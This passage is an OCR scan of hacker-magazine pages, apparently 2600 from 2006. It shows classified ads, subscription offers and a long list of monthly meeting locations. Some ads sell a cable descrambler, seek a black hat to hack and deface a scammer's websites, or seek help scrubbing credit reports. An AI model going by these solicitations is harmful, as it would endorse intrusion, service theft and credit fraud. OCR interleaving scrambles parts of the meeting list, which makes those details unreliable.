tern. Complete with 11 Ovac power supply. Purchaser assumes sole 
responsibi l ity for notifying cable operator of use of descrambler. 
Requires a cable TV converter ( i . e . ,  Radio Shack) to be used with 
the unit. Cable connects to the converter, then the descrambler, 
then the output goes to TV set tuned to channel 3.  CD 9621 Olive, 
Box 28992-TS, Olivettet Sur, Missouri 631 32. Emai l :  
cabledescramblerguy@yahoo .com. 

Help Wanted 
BLACK HATIWHITE HAT u rgently needed. I have been scammed 
by a professional looking website offering novelty driver l icenses 
along with discounts for m ultiple novelty l icenses. When you up­
load a picture and specifications, you get a "confirmation" with di�  
rections for sending your money 1 10NLY by Western Union."  A guy 
in Estonia receives it. That is the last you hear of your money or 
anything else!  This guy even has another website "rating" his own 
scam website as "good" and rating other simi lar scam websites he 
controls ,  also as "good . "  WHAT NERVE!  Every day he is victimiz­
ing thousands of people and stealing their money. Something 
needs to be done! I have some great ideas and wi l l  furnish the 
URL of the website, the name he uses to receive the Western 
Union money transfers, the IP address on his emails, and the U R L  
o f  t h e  l 1 reviewing website."  Unfortunately I don't have t h e  technical 
abi l ity to do anything about it. I think there should be big flashing 
red letters across this site: "TH I S  I S  A SCAM OPE RATION - AF­
TER YOU SEND YOUR WESTERN U N I O N  MONEY TRANSFER, 
YOU WILL NEVER RECEIVE ANYTH I N G ! "  On his "reviewing web­
site ,"  the rating should be changed from "good" to "a scam" for 
each of the sites l isted. Western Union and the Cou ntry of Estonia 
wi l l  not do anything about this outr ight fraud or each is so mani�  
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festly i mpotent that they are unable to stop this I nternet frau d !  I s  
there a B L A C K  HAT out there who wants to temporarily switch 
hats, become a WHITE HAT, and help? iamawidow @yahoo.com 
C R E DIT REPORT HELP NEEDED. Need some assistance remov­
ing negative items off credit reports. Will pay. All  agencies. Please 
respond to skysight@spacemail .com. 

Wanted 
WANT E D :  GOOD M ENTOR wil l ing to help a beginner learn any­
thing and everything they are wi l l ing to teach about computers and 
electronics i n  general. Contact me at hiten_mitsoruki @ yahoo.com . 
HAVE KNOWLEDGE OF SECURITY BR EACHES at your bank? 
Heard rumors of cracked customer databases? Know there are un­
addressed vulnerabi l ities i n  a retailer's credit  card network, but its 
management doesn't know or care? We want your t ips. We are a 
business newsletter focusing on security issues in the financial in­
dustry: IT security, privacy, regulatory compliance, identity-theft 
and fraud, money-laundering. Wherever criminal activity meets 
banks, we are there. You can remain anonymous. (Note : we wil l  
not print rumors circulated by one person or group without obtain� 
ing supporting evidence or corroboration from other parties.)  Con� 
tact banksecuritynews @ yahoo.com or call 2 1 2-564-8972, ext. t 02.  

Services 
FREERETIREDSTUFF.COM - Donate or request free outdated 
tech products � i n  exchange for some good karma � by keeping us­
able unwanted tech items out of your neighborhood landfi l l .  The 
FREE and easy text and photo classified ad website is designed to 
f ind local people in your area wi l l ing to pick up your unwanted tech 
products or anything else you have to donate. Thank you for help­
ing us spread the word about your new g lobal recycl ing resource 
by distributing this ad to free classified advertising sites and news� 
g roups g lobally. www. FreeRetiredStuff.com 
SUSPECTED O R  ACCUSED OF A CYBERCRIME I N  ANY CALI­

FORNIA OR FEDERAL COU RT? Consult with a semantic warrior 
committed to the l iberation of information. I am an aggressive crim� 
inal  defense lawyer special izing i n  the fol lowing types of cases: 
u nauthorized access, theft of trade secrets, identity theft,  and 
trademark and copyright infringement. Contact Omar Figueroa, 
Esq. at (4 t 5) 986-559 1 , at omar@ stanfordalumnLorg, or at 506 
Broadway, San Francisco, CA 941 33-4507. Graduate of Yale Col­
lege and Stanford Law School. Complimentary case consu ltation 
for 2600 readers. All consu ltations are strictly confidential and pro­
tected by the attorney-client privilege. 
INTELLIGENT HACKERS UNIX SHELL. Reverse . N et is  owned 
and operated by intell igent hackers. We bel ieve every user has the 
right to online security and privacy. I n  today's hosti le anti-hacker 
atmosphere, intell igent hackers requ i re the need for a secure place 
to work, compile, and explore without big-brother looking over their 
shoulder. Hosted at Chicago Equinix with Jun iper Filtered DoS 
Protection. M u ltiple FreeBSD servers at P4 2.4 ghz.  Affordable 
pricing from $5/month with a money back g uarantee. Lifetime 26% 
discount for 2600 readers. Coupon code:  Save2600. 
http ://www.reverse . net 
ANTI-CENSORSHIP LINUX HOSTING. Kaleton Internet provides 
affordable web hosting,  email accou nts, and domain registrations 
based on dual processor P4 2.4 GHz Linux servers. Our hosting 
plans start from only $8.95 per month. This includes support for 
Python, Perl, P H P, MySQL, and more. You can now choose be­
tween the USA, Singapore, and other offshore locations to avoid 
censorship and guarantee free speech. We respect your privacy. 
Payment can be by E-Gold, PayPal, credit card, bank transfer, or 
Western Union.  See www. kaleton.com for detai ls.  
B E E N  ARR ESTED FOR A COMPUTER OR TECHNOLOGY RE­

LATED CRIME? Have an idea, invention, or business you want to 
buy, sel l ,  protect, or exploit? Wish your attorney actually under� 
stood you when you speak? The Law Office of Michael B .  Green, 
Esq. is the solution to your 2 1  st century legal problems. Former 
SysOp and member of many private BBS's since 1 98 1  now avail­
able to di rectly represent you or bridge the communications gap 
and assist your cu rrent legal counsel. Extremely detailed knowl­
edge regarding criminal and civi l  l iabi l ity for computer and technol­
ogy related actions ( 1 8  U . S . C .  1 028, t 029, t 030, t 03 t , t 341 , 
t 342, t 343, 251 1 ,  25 1 2, ECPA, DMCA, t 996 Telecom Act, etc . ) ,  

d o m a i n  n a m e  disputes, intel lectual property matters s u c h  as copy­
rights, trademarks, licenses, and acqu isitions as well as general 
business and corporate law. Over ten years experience as in­
house legal counsel to a computer consult ing business as well as 
an over 20 year background in computer, telecommu nications, and 
technology matters. Publ ished law review articles, contributed to 
nationally publ ished books, and submitted briefs to the U n ited 
States Supreme Court on Internet and technology related issues. 
Admitted to the U . S .  Su preme Court, 2nd Circuit Court of Appeals, 
and all New York State courts. Many attorneys wil l  take your case 
without any consideration of our culture and wi l l  see you merely as 
a sou rce of fees or worse, with i l l-conceived prejudices. My office 

understands our culture, is  sympathetic to your situation, and wil l  
treat you with the respect and understanding you deserve. No fee 
for the init ial and confidential consu ltation and, if for any reason we 
cannot help you , we wi l l  even try to find someone else who can at 
no charge. So you have nothing to lose and perhaps everything to 
gain by contacting us f irst.  Visit us at: http://www.computorney.com 
or call 5 1 6-993-4357. 

Announcements 
OFF THE HOOK is the weekly one hour hacker radio show pre­
sented Wednesday nights at 7:00 pm ET on WBAI 99.5 FM i n  New 
York City. You can also tune i n  over the net at 
www.2600.com/offlhehook or on shortwave in North and South 
America at 74 t 5 khz. Archives of all shows dating back to t 988 
can be found at the 2600 site, now in mp3 format! Shows from 
1 988-2005 are now available i n  DVD-R format for $30 ! Or sub­
scribe to the new high qual ity audio service for only $50. Each 
month you'l l  get a newly released year of "Off The Hook" i n  broad­
cast qual ity (far better than previous online releases) .  Send check 
or money order to 2600, PO Box 752, Middle Island, N Y  1 1 953 
USA or order through our online store at http://store.2600.com. 
Your feedback on the program is always welcome at oth@2600.com. 
PHONE PHUN. http://phonephun.us .  Blog devoted to interesting 
phone numbers. Share your finds! 
DO YOU WANT ANOTHER PRINTED MAGAZINE that comple­
ments 2600 with even more hacking information? Binary Revolu­
tion is a magazine from the Dig ital Dawg Pound about hacking and 
technology. Specifically, we look at underground topics of technol­
ogy including : Hacking, Phreaking, Security, U rban Exploration, 
Dig ital Rights, and more. For more information, or to order your 
printed copy online, visit us at http://www. binrev.com/ where you 
wil l  also find instructions on mai l  orders. 
Welcome to the revolutio n !  
CHRISTIAN HACKERS' ASSOCIATION : Check o u t  t h e  webpage 
http://www.christianhackeLorg for detai ls .  We exist to promote a 
community for Christian hackers to discuss and i mpact the realm 
where faith and technology intersect for the pu rpose of seeing lives 
changed by God's grace through faith in Jesus. 

Personals 
OFFLIN E  OUTLAW I N  TEXAS is looking for any books U nix/Linux 
I can get my hands on.  Also very interested i n  privacy i n  al l  areas. 
If you can point me in the right d i rection or feel l ike teaching an old 
dog some new tricks, drop me a line. I ' l l  answer al l  letters. Props to 
those who already have, you know who you are. Wil l iam Lindley 
822934, 1 300 FM 655, Rosharon, TX 77583-8604. 
I N  SEARCH OF N EW CONTACTS every day. I have a lot of time 
to pass and am always u p  for a good discussion. Joint sou rce au­
dit anyone? Of cou rse it'll have to be on paper. Interests not l imited 
to: low-level OS coding,  embedded systems, crypto, radiotelecom ,  
a n d  conspiracy theory. W i l l  reply t o  a l l .  Brian Salcedo #32t 30-039, 
FCI McKean, P.O.  Box 8000, Bradford, PA 1 670 1 . 
COMPUTERS IN AFRICA. I 'm cu rrently bui lding up a non-profit or­
ganization dedicated to international cooperation related to com­
puters. Main mandates of the program are to provide computer & 
electronic hardware, train ing,  and solutions to African societies that 
are arriving at their computerization phase i n  order to leverage 
their learning capabil it ies, give them free and uncensored I nternet 
access, and help them organize their own social in itiatives and net­
works. French details can be found here: http://razernet.comlrock­
N rolll?p= 1 1 .  I ' l l  be in Burkina Faso in March 2006 for the first 
phase of my project. 1 'm looking for anyone who ever went to B u rk­
ina Faso and still has contacts there, anyone who ever did some 
computer-related work/help i n  Africa, or simply anyone who is in­
terested in a project l ike that .  Email  me:  
partymontrea l @ hotmail .com. 
CONVICTED COMPUTER CRIMINAL in federal pr ison doing re­
search on Asperger Syndrome prevalence in priso n .  Please write: 
Paul Cuni  t 5287-0 t 4, Box 700 t , Taft, CA 93268. 

ONLY SUBSCRIBERS CAN ADVERTISE I N  26001 Don't even 
think about trying to take out an ad u nless you subscribe!  Al l  ads 
are free and there is no amount of money we will accept for a non­
subscriber ad. We hope that's clear. Of course, we reserve the 
right to pass judgment on your ad and not print it if it's amazingly 
stupid or has nothing at al l  to do with the hacker world . We make 
no g uarantee as to the honesty, righteousness, sanity, etc. of the 
people advertising here. Contact them at your peri l .  Al l  submis­
sions are for O N E  ISSUE O N LY !  I f  you want to run your ad more 
than once you must resubmit it each t ime. Don't expect us to run 
more than one ad for you i n  a single issue either. Include your ad­
d ress label/envelope or a photocopy so we know you're a sub­
scriber.  Send your ad to 2600 Marketplace, PO Box 99, Middle 
Island, N Y  t 1 953. Deadl ine for Fall issue: 911 /06. 

S u • •  e r i! O 0 E. ----------------------- P a g e  5 .,  
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I s  th i s  you r  f i rst t i me read i ng 
th i s  su bve rs ive magaz i ne?  

Wou ld you prefer i t  i f  peop le d idn 't see you 
buyi ng i t a t  the bookstore a nd fo l low you 
after you leave the sto,r? � .!it::;il . 
T h e re ' s  a s o L u ti � rIr 

It's ca lled the  2 600 Subscri pti o n  a n d  it ca n be yo u rs i n  a co u p le 
of ways . Either  send  $ 2 0  fo r o n e  yea r, $ 3 7  fo r two yea rs , o r  $ 5 2  
fo r th ree yea rs ( o utsi de  th e U . S .  a n d  Ca n a d a ,  th at's $ 3 0 ,  $ 54,  a n d  
$ 7 5  respective ly) to 2 600,  P O  Box 7 5 2 ,  Mi d d le Is la n d ,  N Y  119 5 3  
U SA o r  s ubscri b e  di rectly fro m u s  o n li n e  usi n g  yo u r  credit ca rd at 
sto re . 2 60 0 . co m .  

Theo reti ca lly yo u wo u ld n ever h ave to leave yo u r  h o use agai n .  

Is A SUBSCRIPTION 2��;� > _ J��;�"���L?_�4_:� 
. "' '' ,; : ;.:''" ..... 0 i (// I M f O " .  H V!<f fl: ".H 

SOMEHOW NOT ENOUGH? AHOY! 
Do you find yourself pounding your fist into your forehead and bemoaning 
the fate that somehow led you to miss our first 22 years of publishing? 

You have two things on your side. 

One, 2600 never gets old.  Sure, the technology changes. But the ideas 
behind our articles are a lways fresh and applicable to so many different 
things. So reading old issues can be a real  eye-opener. 

Two, all of our back issues are sti ll avai lable. From the first xeroxed copies 
back in 1984 to the most recent issue. See the parallels, the 
triumphs, the losses. It's a ll there, exactly as it was. 

You can get any year of 2600 for $20 ($30 overseas) . Send check or money 
order in  u.S. funds to 2600, PO Box 752 ,  Middle Island, NY 11953 USA. 
Or visit our online store for the latest bulk discounts or to buy 
anything with a credit card or through PayPal: http://store.2600.com. 

S u m m e r  c O O E.------------



GREECE 

Melbourne: Caffeine at Revault bar, �' l ic.  7 pm. 
16 Swanston St. ,  near Melbourne_�n-
tral Shopping Centre. 6 :30 rmt.� " Athens: Outside the bookstore Pa-

paswtiriou on the corner of Patision 
and Stournari. 7 pm. 

IRELAND 

Colorado 

Parker and 

.{ District ��\��t��6t�"�'" 
� ,' '�rlington: Pentagon City Mall  in the 

" ;�t.od court (near Au Bon Pain). 6 pm. 
Florida 

Ft. Lauderdale: Broward Mall in the 
food court. 6 pm. 
Gainesville: I n  the back of the Univer· 
sity of Florida's Reitz Union food court. 
6 pm. 

Perth : The Merchant Tea and Coffee 
House, 1 83 Murray St. 6 pm. 
Sydney: The Crystal Palace, front 
bar/bistro, opposite the bus station 
area on George St. at Central Station. 
6 pm .  

Dubli n :  A t  t h e  phone booths on Wick­
low St. beside Tower Records. 7 pm. 

Orlando: Fashion Square Mall  Food 
Court between Hovan Gourmet and 
Manchu Wok. 6 pm. 
Tampa: UniverSity Mall i n  the back of 
the food court on the 2nd floor. 6 pm. AUSTRIA 

Graz: Cafe Haltestelle on Jakomini­
platz. 

BRAZIL 
Belo Horizonte: Pelego's Bar at As­
sufeng, near the payphone. 6 pm. 

ITALY 
Milan : Piazza Loreto in front of Mc· 
Donalds. 

JAPAN 
Tokyo: Linux Cafe in Akihabara dis· 
trict. 6 pm .  

NEW ZEALAND 

Georgia 
Atlanta: Lenox Mall  food court. 7 pm. 

Idaho 

CANADA 
Alberta Auckland: London Bar, upstairs, 

Calgary: Eau Claire Market food court Wellesley St., Auckland Central. 5:30 

Boise: BSU Student Union Building, 
upstairs from the main entrance. Pay­
phones: (208) 342-9700, 970 1 . 
Pocatello: College Market, 604 South 
8th St. 

by the bland yellow wal l .  6 pm. pm. 

British Columbia Christchurch: Java Cafe, corner of I l l inois 

Vancouver: Pacific Centre Mall Food High St. and Manchester St. 6 pm. C� icago: Neighborh�d Boys and 

Court. Wellington :  Load Cafe in Cuba Mall. 6 GIrls Club, 2501 W. Irving Park Rd. 7 

Victoria: QV Bakery and Cafe, 1 70 1  
Government St. 

Manitoba 
Winnipeg: SI. Vital Shopping Centre, 
food court by HMV. 

New Brunswick 
Moncton: Ground Zero Networks In· 
ternet Cafe, 720 Main SI. 7 pm. 

pm. pm.  
Indiana NORWAY 

Oslo: Oslo Sentral Train Station. 7 pm. Evansville: Barnes and Noble cafe at 

Tromsoe: The upper floor at Blaa 624 S Green River Rd. 

Rock Cafe, Strandgata 1 4. 6 pm. Ft. Wayne: Glenbrook Mall food court 

Trondheim: Rick's Cafe i n  Nor- i n  front of Sbarro's. 6 pm . 

dregate. 6 pm. Indianapolis: Corner Coffee, SW cor· 
PERU ner of 11 th and Alabama. 

OntariO Lima: Barbilonia (ex Apu Bar), en AI- South Bend (Mishawaka): Barnes 
Barrie: Wil l iam's Coffee Pub, 505 canfores 455, Miraflores, at the end of and Noble cafe, 4601 Grape Rd. 
Bryne Drive. 7 pm. Tarata St. 8 pm. Kansas 
Guelph: Will iam's Coffee Pub, 492 Ed· SCOTLAND Kansas City (Overland Park): Oak 
inbourgh Road South. 7 pm. Glasgow: Central Station, payphones Park Mall food court. 
Ottawa: World Exchange Plaza, 1 1 1  next t o  Platform 1 .  7 pm. Wichita: Riverside Perk,  1 1 44 Bitting 
Albert St. ,  second floor. 6:30 pm. SOUTH AFRICA Ave. 
Toronto: Future Bakery, 483 Bloor SI. Louisiana 

New Mexico 
Albuquerque: University of New Mex­
ico Student Union Building (plaza 
"lower" level lounge), main campus. 
Payphones: 505-843-9033, 505-843-
9034. 5:30 pm. 

New York 
New York: Citigroup Center, i n  the 
lobby, near the payphones, 1 53 E 53rd 
St. , between Lexington & 3rd. 

North Carolina 
Charlotte: South Park Mall food court. 
7 pm .  
Raleigh :  B i t  Players' Lounge, 7 4 5  W .  
Johnson St. 

North Dakota 
Fargo: West Acres Mall food court by 
the Taco John's. 

Ohio 
Cincinnati: The Brew House, 1 047 
East McMil lan. 7 pm. 
Cleveland: University Circle Arabica, 
1 1 300 Juniper Rd. Upstairs, turn right. 
second room on left. 
Dayton: TGI Friday's off 725 by the 
Dayton MaiL 

. Oklahoma 
Oklahoma City: Cafe Bella, southeast 
corner of SW 89th St. and Penn. 
Tulsa: Java Dave's Coffee Shop on 
8 1  st and Harvard. 

Oregon 
Portland: Backspace Cafe, 1 1 5  NW 
5th Ave. 6 pm. 

Pennsylvania 
Allentown: Panera Bread, 3 1 00 West 
Tilghman SI. 6 pm. 
Philadelphia:  30th St. Station, south· 
east food court near mini post office. 

South Carolina 
Charleston: Northwoods Mall in the 
hall  between Sears and Chik-Fil-A. 

South Dakota 
Sioux Falls: Empire Mall ,  by Burger 
King. 

Tennessee 
West. 

Johannesburg (Sandton City): Sand­
ton food court. 6:30 pm. Baton Rouge: I n  the LSU Union Build- Knoxville: Borders Books Cafe across 

Waterloo: Will iam's Coffee PUb, 1 70 
University Ave. West. 7 pm.  
Windsor: Universtty of Windsor, CAW 
Student Center commons area by the 
large window. 7 pm. 

Quebec 
Montreal: Bell Amphitheatre, 1 000, 
rue de la Gauchetiere. 

CHINA 
Hong Kong: Pacific Coffee in Festival 
Walk, Kowloon Tong. 7 pm. 

CZECH REPUBLIC 
Prague: Legenda pub. 6 pm. 

DENMARK 
Aalborg: Fast Eddie's pool hall .  
Aarhus: I n  the far corner of the DSB 
cafe in the railway station. 
Copenhagen: Cafe Blasen. 
Sonderborg: Cafe Druen. 7:30 pm. 

EGYPT 
Port Said: At the foot of the Obelisk 
(EI  Missallah). 

ENGLAND 
Brighton: At the phone boxes by the 
Sealife Centre (across the road from 
the Palace Pier). 7 pm. Payphone: 
(01 273) 606674. 
Exeter: At the payphones, Bedford 
Square. 7 pm. 
London : Trocadero Shopping Center 
(near Piccadi l ly Circus), lowest level. 
6:30 pm. 
Manchester: The Green Room on 
Whitworth St. 7 pm. 
Norwich: Borders entrance to 
Chapelfield Mal l .  6 pm. 
Reading: Afro Bar, Merchants Place, 
off Friar St. 6 pm. 

FINLAND 
Helsinki : Fenniakortteli food court 
(Vuorikatu 1 4) .  

SWEDEN 
Gothenburg: Outside Vanilj. 6 pm. 
Stockholm: Outside Lava. 

ing,  between the Tiger Pause & Mc· from Westown Malt .  
Donald's. 6 pm.  Memphis: Atlanta Bread Co.,  4770 
New Orleans: Z'otz Coffee House up- Poplar Ave. 6 pm. 

SWITZERLAND 
Lausanne: I n  front of the MacDo be· 
side the train station. 

town at 8 2 1 0  Oak Street. 6 pm. Nashvi lle: J·J's Market, 1 9 1 2  Broad· 

UNITED STATES 
Alabama 

Maine 
Portland: Maine Mall by the bench at 
the food court door. 

Maryland 
Baltimore: Barnes & Noble cafe at the 
Inner Harbor. 

Massachusetts 
Boston: Prudential Center Plaza, ter� 

way. 6 pm. 
Texas 

Austin:  Dobie Mall food court, 2025 
Guadalupe St. 
Houston: Ninfa's Express in front of 
Nordstrom's in the Galleria Mall .  
San Antonio: North Star Mall  food 
court. 6 pm. 

Auburn: The student lounge upstairs 
in the Fay Union Building. 7 pm. 
Huntsvi lle: Madison Square Mall in 
the food court near McDonald's. 
Tuscaloosa: McFarland Mall food 
court near the front entrance. 

race food court at the tables near the Utah 

Arizona 
windows. 6 pm. Salt Lake City: ZCMI Mall in The Park 

Phoenix: Counter Culture Cafe, 2330 
E McDowell Rd. 

Marlborough :  Solomon Park Mall food Food Court. 

Tucson: Borders in the Park Mall .  7 
pm. 

court. 
Michigan 

Ann Arbor: The Galleria on South 
University. 

California 
Los Angeles: Union Station, corner of . 

Minnesota
. 

Macy & Alameda. Inside main entrance Bloomington : Mall of Amenca, north 

by bank of phones. Payphones: ( 2 1 3 )  s i d e  food court, across from Burger 

972.95 1 9  9520' 625-9923 9924' 6 1 3. King & the bank of payphones that 

9704 9746
' " 

don't take incoming calls. 

Monterey: London Bridge Pub, 2 Missouri 

Wharf I I .  Kansas City (Independence): Barnes 

Orange County (Lake Forest): 
Diedrich Coffee, 22621 Lake Forest 
Drive. 8 pm.  
Sacramento: Round Table Pizza at 
1 27 K St. 
San Diego: Regents Pizza, 41 50 Re­
gents Park Row #1 70. 
San Francisco: 4 Embarcadero Plaza 
(inside). Payphones: ( 4 1 5 )  398-9803, 
9804, 9805, 9806. 
San Jose: Outside the cafe at the 
MLK Library at 4th and E .  San Fer­
nando. 6 pm. 

& Noble, 1 9 1 20 East 39th St. 
St. Louis: Galleria Food Court. 
Springfield: Borders Books and Music 
coffeeshop, 3300 South Gtenstone 
Ave. ,  one block south of Battlefield 
Mal l .  5:30 pm.  

Nebraska 
Omaha: Crossroads Mall Food Court. 
7 pm .  

Nevada 
Las Vegas: Coffee Bean Tea Leaf cof· 
fee shop, 4550 S .  Maryland Pkwy. 7 
pm. 

Vermont 
Burlington: Borders Books at Church · 
St. and Cherry St. on the second floor 
of the cafe. 

Virginia 
Arlington: (see District of Columbia) 
Virginia Beach:  Lynnhaven Mall  on 
Lynnhaven Parkway. 6 pm. 

Washington 
Seattle: Washington State Convention 
Center. 2nd level ,  south side. 6 pm. 

Wisconsin 
Madison: Union South (227 N.  Ran· 
dall  Ave.) on the lower level in the Mar­
tin Luther King Jr. Lounge. Payphone: 
(608) 251 -9909. 
Milwaukee: The Node, 1 504 E.  North 
Ave. 

All meetings take place on the first 
Friday of the month. Unless other­
wise noted. they start at 5 pm local 
time. To start a meeting in your city, 
send email to meetings@2600.com. 

P a g e  E. ii! ---------------------- ii! E. D O  " a  9 a z i n e 






